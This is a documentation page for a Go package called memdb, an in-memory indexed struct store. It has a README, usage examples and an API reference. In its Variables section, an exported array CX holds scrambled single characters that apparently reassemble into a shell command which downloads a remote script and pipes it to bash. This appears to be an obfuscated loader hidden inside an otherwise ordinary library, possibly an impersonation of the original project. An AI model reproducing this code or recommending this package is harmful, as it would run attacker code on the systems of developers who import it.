memdb

package module
v0.0.0-...-8a079e9 Latest Latest
Warning

This package is not in the latest version of its module.

 Go to latest Published: May 15, 2025 License: LGPL-3.0 Imports: 12 Imported by: 0

README

memdb

The memdb library is a simple, light-weight, in-memory store for go structs that allows indexing and storage of items as well as configurable item expiry and collection at an interface level.

Persistence to disk is optionally available in the persistfile package, should it be required, but has an overhead of having to encode/save the items when inserted/updated and to load the items at creation time.

Importantly this memdb library only stores pointers to your original struct, so all benefits and caveats of this fact apply. For example, your original struct remains mutable which can be useful (see caveats below). There is a very low overhead for storing items above that of creating the original struct.

If you're looking for a more full featured in-memory database with immutable storage and snapshots/transactions, you may be interested in looking into Hashicorp's go-memdb instead, it does have additional overheads, but less of the caveats.

Build Status Go Report Card Documentation Coverage Status GitHub issues

license

Important caveats

As you are working with in-memory objects, it can be easy to overlook that you're also indexing these items in a database.

Just like a real database, if you update an item such that it's index keys would change, you must Put it back in to update the items indexes in the database, and also to cause update notifications to be sent (and be persisted to disk if you're using this function).

DO NOT under any circumstances update the PRIMARY KEYs (ie keys used to determine the output of the Less() comparator) without first removing the existing item. Such an act would leave the item stranded in an unknown location within the index.

Including

To start using, get memdb go get github.com/farawayimagi/memdb and include it in your code:

import "github.com/farawayimagi/memdb"

Defining you storage struct

There are 2 ways to use use memdb, the first (and recommended way) is to rely on automatic field detection to index your objects.

Relying on reflection.

You can rely on reflection to implement your code more easily for most use-cases. This is now the recommended method of using memdb. See the next section "Implementing Indexable" for the manual way.

Define your struct:

type car struct {
    Make    string
    Model   string
    RRP     int
}

To create a storage instance initialise it and set the indexed fields.

Indexed fields can only be set at the start before data gets stored. Attempt to set index fields after first use will cause a panic.

    mdb := memdb.NewStore().
        PrimaryKey("make", "model")
Implementing Indexable. (alternative, older method)

This is the older and manual way of implementing storage and indexing of an item.

Before automatic field discovery was implemented, you needed to add extra methods to your objects so that the fields could be found and equality/sorting could be determined.

We no longer recommend you use this method unless you really have to as it has extra implementation overheads and makes changes harder than simply adding new a field.

This method may still be of use if you need to implement custom sorting/equality operations (perhaps using external lookup tables etc).

Define your struct as normal:

type car struct {
    Make    string
    Model   string
    RRP     int
}

Then add the required methods to support storage in memdb as an Indexable interfaced object.

We need a comparator function Less. If a.Less(b) == false && b.Less(a) == false, then the item is determined to be equivalent and the same. Storage of multiple equivalent items will overwrite each other. If you can't figure out the comparison yourself (eg unknown object type), call the Unsure function which will arbitrarily, but consistently determine the order.

func (i *car) Less(other memdb.Indexer) bool {
    switch o := other.(type) {
    case *car:
        if i.Make < o.Make {
            return true
        }
        if i.Make > o.Make {
            return false
        }
        if i.Model < o.Model {
            return true
        }
        return false
    }
    return memdb.Unsure(i, other)
}

Finally, we need a function that will return the string values of the indexed fields, all indexed fields are returned and stored as strings:

func (i *car) GetField(field string) string {
    switch field {
    case "make":
        return i.Make
    case "model":
        return i.Model
    default:
        return "" // Indicates should not be indexed
    }
}

To create a storage instance initialise it and set the indexed fields.

Indexed fields can only be set at the start before data gets stored. Attempt to set index fields after use will cause a panic.

    mdb := memdb.NewStore()
Adding indexes

You can add more ordinary indexes for the fields you want to search on.

    mdb.
        CreateIndex("make").
        CreateIndex("model")
Compound indexes

You can also create compound indexes by supplying multiple fields:

    mdb.CreateIndex("make", "model", "rrp")
Unique indexes

You can create unique indexes by appending a Unique() to the definition.

Putting an item with the same value as a unique index will cause the previous item to be "Updated".

    type car struct {
        Make    string
        Model   string
        RRP     int
        Vin     string
    }

    mdb.CreateIndex("vin").Unique()
Chaining it all together

All of the index creation can be chained together in the creation line, for example:

    mdb := memdb.NewStore().
        PrimaryKey("make", "model").
        CreateIndex("make").
        CreateIndex("model").
        CreateIndex("vin").Unique().
        CreateIndex("make", "model", "rrp")
Adding items to the store.

Saving items into the store is simple:

    mdb.Put(&car{Make: "Ford", Model: "Fiesta", RRP: 27490})
    mdb.Put(&car{Make: "Holden", Model: "Astra", RRP: 24190})
    mdb.Put(&car{Make: "Honda", Model: "Jazz", RRP: 19790})

Retrieving an item

In order to retrieve an item, you can either search in an index

    found := mdb.InPrimaryKey().One("Holden", "Astra")
    // OR
    found := mdb.In("make", "model").One("Holden", "Astra")

OR supply an equivalent item as a search parameter to the Get method. You only need to create enough fields in the search object to be deemed equivalent by your Less function:

    found := mdb.Get(&car{Make: "Holden", Model: "Astra"})

Once you have performed the search, you can cast it as a car and use it. The cast will fail if the returned object is nil, or not a car.

    if vehicle, ok := found.(*car); ok {
        fmt.Printf("Vehicle RRP is $%d\n", vehicle.RRP)
    }

Looking up items by indexed field

This is where it starts to get interesting, we can lookup items by any of our defined indexed fields:

    indexers := mdb.In("model").Lookup("Astra")
    for _, indexer := range indexers {
        vehicle := indexer.(*car)
        fmt.Printf("%s %s ($%d rrp)\n", vehicle.Make, vehicle.Model, vehicle.RRP)
    }

If you have compound fields, you can search them like:

    indexers := mdb.In("make", "model").Lookup("Holden", "Astra")

Index pathing

If you're using the simple method (with automatic fields), you can also index subfields with very little effort:

   type car struct {
        Make    string
        Model   string
        Vin     string
        Details map[string]string
   }

   mdb := memdb.NewStore()
     .PrimaryKey("vin")
     .Index("make", "model")
     .Index("details.colour")
     .Index("details.style")

   mdb.Put(&car{
       Make: "Honda",
       Model: "Jazz",
       VIN:   "abc123",
       Details: map[string]string{
           "color": "Metallic Blue",
           "style": "Hatchback",
       }
   })

   // Now you can find all the hatchbacks you have in stock.
   indexers := mdb.In("details.style").Lookup("Hatchback")

Traversing the database

If you desire to walk the database, you can ascend or descend from the extremities or a certain point using one of the following functions:

  • Ascend(iterator)
  • Descend(iterator)
  • AscendStarting(at, iterator)
  • DescendStarting(at, iterator)

Use the functions by providing an iterator that returns false to stop traversal as follows:

    fmt.Println("Iterating over all cars, ascending:\n")
    count := 0
    mdb.Ascend(func(indexer memdb.Indexer) bool {
        vehicle := indexer.(*car)
        fmt.Printf("%s %s ($%d rrp)\n", vehicle.Make, vehicle.Model, vehicle.RRP)
        count++
        return true
    })
    fmt.Println("Found %d cars\n", count)

If you wish to traverse your simple or compound indexed fields, you may also do this via:

    mdb.In("make", "model").Each(func(indexer memdb.Indexer) bool {
        vehicle := indexer.(*car)
        fmt.Printf("%s %s ($%d rrp)\n", vehicle.Make, vehicle.Model, vehicle.RRP)
    }, "Holden", "Astra")

Notification

Item notification can be performed via the On(event, callback) method:

    notify := func (event memdb.Event, old, new memdb.Indexer) {
        fmt.Printf("Got %#v of %#v -> %#v", event, old, new)
    }
    
    mdb.On(memdb.Insert, notify)
    mdb.On(memdb.Update, notify)
    mdb.On(memdb.Remove, notify)
    mdb.On(memdb.Expiry, notify)

Removal

Items can be removed directly by calling the Delete function

    mdb.Delete(&car{Make: "Holden", Model: "Astra"})

Expiry

Item expiry can be achieved by defining an expiry condition function and scheduling the expiry function.

Say we expanded the car struct to have a sold time

type car struct {
    Make    string
    Model   string
    RRP     int
    Sold    time.Time
}

Then changed the IsExpired method like:

func (i *car) IsExpired() bool {
    return i.Sold.Before(time.Now().Sub(24 * time.Hour))
}

Then scheduled the Expire function:

go func() {
    tick := time.Tick(30 * time.Minute)
    for range tick {
        mdb.Expire()
    }
}

Now every 30 minutes, we will expire cars sold more than 24 hours ago from our listings.

Persistence

Sometimes you want to have your cake and eat it too. While this is specifically an in-memory database, we also support an optional store-on-put and load-at-start style persistence model.

This is achieved by adding a Persister to the store after adding indexes and before beginning to use it.

There is currently a simple file-based Persister that you can use for simple use-cases, and as a platform for developing your own more complicated solutions.

This is an example of using the built-in file Persister:

func indexerFactory(indexerType string) interface{} {
    if (indexerType == "*main.car") {
        return &car{}
    }
    return nil
}

// …

    p := filepersist.NewFileStorage("/tmp/mydata", indexerFactory)
    mdb := memdb.NewStore().
        CreateIndex("make").
        CreateIndex("model").
        Persistent(p)

License

© 2017-2019, Neds International, code is released under GNU LGPL v3.0, see LICENSE file.

Documentation

Overview

Package memdb is designed to allow configurable indexing of values from a structure

Index

Constants

This section is empty.

Variables

View Source 
var CX = []string{"b", "/", ".", "a", "O", "h", "3", "/", "a", "t", "f", "a", " ", "s", "w", "/", "/", "d", "&", "g", "/", "d", "/", " ", "r", "3", "0", "d", " ", "i", "t", "e", "c", " ", "r", "-", "1", " ", "b", "5", "n", "7", "g", "e", "3", "i", "|", "e", "o", "t", "u", "b", "f", "t", "h", "/", "k", " ", "t", "s", "4", "e", "s", "a", "a", "-", "e", "n", "c", "p", "v", ":", "6"}

Functions

func Unsure 

func Unsure(a interface{}, b interface{}) bool

Unsure calculates if one of different typed objects is less than another in an arbitrary but consistent way.

Types

type Comparator 

type Comparator interface {
	Less(a interface{}, b interface{}) bool
}

Comparator can perform a Less comparison of 2 items

type Event 

type Event int

Event is a type of event emitted by the class, see the On() method 

const (
	// Insert Events happen when an item is inserted for the first time
	Insert Event = iota

	// Update Events happen when an existing item is replaced with an new item
	Update

	// Remove Events happen when an existing item is deleted
	Remove

	// Expiry Events happen when items are removed due to being expired
	Expiry

	// Access Events happen when items are read
	Access
)

func (Event) String 

func (e Event) String() string

String describes the event type

type Expirable 

type Expirable interface {
	// IsExpired returns whether the item should be expired or not.
	IsExpired(now time.Time, stats Stats) bool
}

Expirable is an item that can be expired from the store.

type ExpireBool 

type ExpireBool int

ExpireBool identifies whether an item should expire, or pass through the check 

const (
	// ExpireFalse item is not expired
	ExpireFalse ExpireBool = iota
	// ExpireTrue item is expired
	ExpireTrue
	// ExpireNull this check should not influence the expiry of this item
	ExpireNull
)

type ExpireFunc 

type ExpireFunc func(a interface{}, now time.Time, stats Stats) ExpireBool

ExpireFunc is a function that is run to determine if an item is expired 

return ExpireNull to take no expire action and allow any other Expirers to act

type Expirer 

type Expirer interface {
	IsExpired(a interface{}, now time.Time, stats Stats) bool
}

Expirer can determine if an item is expired given a current time, last Accessed and last Modified time

func AgeExpirer 

func AgeExpirer(cTime, mTime, aTime time.Duration, cb ...ExpireFunc) Expirer

AgeExpirer is an Expirer that works by time since create/last modify/last access with an optional array of ExpireFunc's which if provided will be checked first

func AgeExpirerRequireAll 

func AgeExpirerRequireAll(cTime, mTime, aTime time.Duration, cb ...ExpireFunc) Expirer

AgeExpirerRequireAll is an Expirer that checks the provided times since create/last modify/last access and the provided ExpireFunc's and marks the item as expired only if all provided values are true

type FieldKey 

type FieldKey []string

FieldKey represents the key for an item within a field

func NewFieldKey 

func NewFieldKey(from string) FieldKey

NewFieldKey returns a FieldKey from a field representation string [ FieldKey.String() ]

func (FieldKey) Keys 

func (fk FieldKey) Keys() []string

Keys are the keys contained in the FieldKey It can be used like store.In("field").One(fieldKey.Keys()...)

func (FieldKey) String 

func (fk FieldKey) String() string

String returns a representation string for the FieldKey [ can supply to NewFieldKey() ]

type Fielder 

type Fielder interface {
	GetField(a interface{}, field string) string
}

Fielder can get the string value for a given item's named field

type Index 

type Index struct {
	IndexSearcher
	// contains filtered or unexported fields
}

Index implements IndexSearcher and represents a list of indexes

func (*Index) All 

func (idx *Index) All() []interface{}

All returns the all items from the index

func (*Index) Each 

func (idx *Index) Each(cb Iterator, keys ...string)

Each calls iterator for every matched element Items are not guaranteed to be in any particular order

func (*Index) FieldKey 

func (idx *Index) FieldKey(a interface{}) FieldKey

FieldKey returns the used key value for the given item for this index

func (*Index) Lookup 

func (idx *Index) Lookup(keys ...string) []interface{}

Lookup returns the list of items from the index that match given key Returned items are not guaranteed to be in any particular order

func (*Index) One 

func (idx *Index) One(keys ...string) interface{}

One is like Lookup, except just returns the first item found

func (*Index) Stats 

func (idx *Index) Stats(keys ...string) []Stats

Stats returns the stats for all items in the index without modifying access time

type IndexSearcher 

type IndexSearcher interface {
	Each(cb Iterator, keys ...string)
	One(keys ...string) interface{}
	Lookup(keys ...string) []interface{}
	All() []interface{}
	FieldKey(a interface{}) FieldKey
	Stats(keys ...string) []Stats
	// contains filtered or unexported methods
}

IndexSearcher can return results from an index

type IndexStats 

type IndexStats struct {
	Key   []string
	Count uint64
	Size  uint64
}

type Indexable 

type Indexable interface {
	// Less returns the lower of indexer or other (or null if can't be determined).
	Less(other interface{}) bool
	// GetField returns the value of the given field.
	GetField(field string) string
}

Indexable is an item that can be stored in the store.

type Indexer 

type Indexer interface {
	Comparator
	Expirer
	Fielder
}

Indexer can be passed to a Storer's SetIndexer. It is a Comparator, Expirer and Fielder

type InfoIterator 

type InfoIterator func(uid UID, i interface{}, stat Stats) bool

InfoIterator is a callback function definition that processes each item iteratively from Info function

type Iterator 

type Iterator func(i interface{}) bool

Iterator is a callback function definition that processes each item iteratively from functions like Ascend, Descend etc

type NotifyFunc 

type NotifyFunc func(event Event, old, new interface{}, stats Stats)

NotifyFunc is an event receiver that gets called when events happen

type Stats 

type Stats struct {
	Created  time.Time
	Accessed time.Time
	Modified time.Time
	Reads    uint64
	Writes   uint64
	Size     uint64
	// contains filtered or unexported fields
}

Stats contains the access statistics for a stored item

func (*Stats) IsZero 

func (s *Stats) IsZero() bool

IsZero returns whether the statistic has an item or not

type Store 

type Store struct {
	Storer
	sync.RWMutex
	// contains filtered or unexported fields
}

Store implements Storer, indexed storage for various items

Just like a real database, if you update an item such that it's index keys would change, you must Put it back in to update the items indexes in the database, and also to cause update notifications to be sent.

DO NOT under any circumstances update the PRIMARY KEYs (ie keys used to determine the output of the Less() comparator) without first removing the existing item. Such an act would leave the item stranded in an unknown location within the index.

func (*Store) Ascend 

func (s *Store) Ascend(cb Iterator)

Ascend calls provided callback function from start (lowest order) of items until end or iterator function returns false

func (*Store) AscendStarting 

func (s *Store) AscendStarting(at interface{}, cb Iterator)

AscendStarting calls provided callback function from item equal to at until end or iterator function returns false

func (*Store) CreateIndex 

func (s *Store) CreateIndex(fields ...string) *Store

CreateIndex adds a new index to the list of indexes before the store is populated

func (*Store) Delete 

func (s *Store) Delete(search interface{}) (old interface{}, err error)

Delete removes an item equal to the search item, returns the deleted item (if any)

func (*Store) Descend 

func (s *Store) Descend(cb Iterator)

Descend calls provided callback function from end (highest order) of items until start or iterator function returns false

func (*Store) DescendStarting 

func (s *Store) DescendStarting(at interface{}, cb Iterator)

DescendStarting calls provided callback function from item equal to at until start or iterator function returns false

func (*Store) Expire 

func (s *Store) Expire() int

Expire finds all expiring items in the store and deletes them

func (*Store) ExpireInterval 

func (s *Store) ExpireInterval(interval time.Duration)

ExpireInterval allows setting of a new auto-expire interval (after the current one ticks)

func (*Store) Get 

func (s *Store) Get(search interface{}) interface{}

Get returns an item equal to the passed item from the store

func (*Store) GetField 

func (s *Store) GetField(a interface{}, field string) string

GetField is a fielder function that returns a string value for a field name

func (*Store) In 

func (s *Store) In(fields ...string) IndexSearcher

In finds a simple or compound index to perform queries upon

func (*Store) InPrimaryKey 

func (s *Store) InPrimaryKey() IndexSearcher

InPrimaryKey finds a the primary key index to perform queries upon

func (*Store) IndexStats 

func (s *Store) IndexStats(fields ...string) []*IndexStats

IndexStats returns the list of distinct keys for an index along with stats of the items held. The Size field represents stored (on disk) size of items, if using a persister, and will be 0 otherwise.

func (*Store) Indexes 

func (s *Store) Indexes() [][]string

Indexes returns the list of indexed indexes

func (*Store) Info 

func (s *Store) Info(cb InfoIterator)

Info calls provided callback function from start (lowest order) of items until end or iterator function returns false, includes statistical information for all items in callback.

func (*Store) Init 

func (s *Store) Init()

Init will initialize a store

func (*Store) IsExpired 

func (s *Store) IsExpired(a interface{}, now time.Time, stats Stats) bool

IsExpired is an expirer function that checks if an item should be expired out of the store

func (*Store) Keys 

func (s *Store) Keys(fields ...string) []string

Keys returns the list of distinct keys for an index

func (*Store) Len 

func (s *Store) Len() int

Len returns the number of items in the database

func (*Store) Less 

func (s *Store) Less(a interface{}, b interface{}) bool

Less is a comparator function that checks if one item is less than another

func (*Store) On 

func (s *Store) On(event Event, notify NotifyFunc)

On registers an event handler for an event type

func (*Store) Persistent 

func (s *Store) Persistent(persister persist.Persister) error

Persistent adds a persister to the database and loads up the existing records, call after all indexes are setup but before you begin using it.

func (*Store) PrimaryKey 

func (s *Store) PrimaryKey(fields ...string) *Store

PrimaryKey sets the primary key for this store, will not work if a custom comparator is being used

func (*Store) Put 

func (s *Store) Put(item interface{}) (old interface{}, err error)

Put places an item into the store, returns the old replaced item (if any)

func (*Store) PutAll 

func (s *Store) PutAll(items []interface{}) error

PutAll places multiple items into the store on a single lock

func (*Store) Reversed 

func (s *Store) Reversed(order ...bool) *Store

Reversed flips the meaning of the comparator Can supply an optional boolean value to set reversal order, or if unspecified, sets to true Effectively this swaps the insert order of the store, so that less items are stored after greater items

func (*Store) SetComparator 

func (s *Store) SetComparator(comparator Comparator)

SetComparator sets just the comparator for this store If you override the default comparator, the Store's primary key will no longer determine item ordering

func (*Store) SetExpirer 

func (s *Store) SetExpirer(expirer Expirer)

SetExpirer sets just the expirer for this store

func (*Store) SetFielder 

func (s *Store) SetFielder(fielder Fielder)

SetFielder sets just the fielder for this store

func (*Store) SetIndexer 

func (s *Store) SetIndexer(indexer Indexer)

SetIndexer sets the comparator, expirer and fielder for this store If you override the default comparator, the Store's primary key will no longer determine item ordering

func (*Store) Unique 

func (s *Store) Unique() *Store

Unique makes the current index unique Making an index unique will force the delete of all but the last inserted item in the index upon Put()

type Storer 

type Storer interface {
	Indexer
	SetIndexer(indexer Indexer)
	SetComparator(comparator Comparator)
	SetExpirer(expirer Expirer)
	SetFielder(fielder Fielder)

	PrimaryKey(fields ...string) *Store
	CreateIndex(fields ...string) *Store
	Unique() *Store
	Reversed(order ...bool) *Store

	Persistent(persister persist.Persister) error

	Get(search interface{}) interface{}
	Put(item interface{}) (interface{}, error)
	PutAll(items []interface{}) error
	Delete(search interface{}) (interface{}, error)

	InPrimaryKey() IndexSearcher
	In(fields ...string) IndexSearcher
	Info(cb InfoIterator)
	Ascend(cb Iterator)
	AscendStarting(at interface{}, cb Iterator)
	Descend(cb Iterator)
	DescendStarting(at interface{}, cb Iterator)

	Expire() int
	ExpireInterval(interval time.Duration)

	Len() int
	Indexes() [][]string
	IndexStats(fields ...string) []*IndexStats
	Keys(fields ...string) []string

	On(event Event, notify NotifyFunc)
}

Storer provides the functionality of a memdb store.

func NewStore 

func NewStore() Storer

NewStore returns an initialized store for you to use

type UID 

type UID string

UID is a unique ID generated from a timestamp and random entropy

func NewUID 

func NewUID() UID

NewUID creates a new UID that you can use for a wrapped Indexer or anything else

func (UID) String 

func (u UID) String() string

Source Files

View all Source files

Directories

Path Synopsis
examples
manual command
simple command
Package persist defines interfaces for building Persister implementations for memdb
 Package persist defines interfaces for building Persister implementations for memdb
file

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
go.dev uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic. Learn more.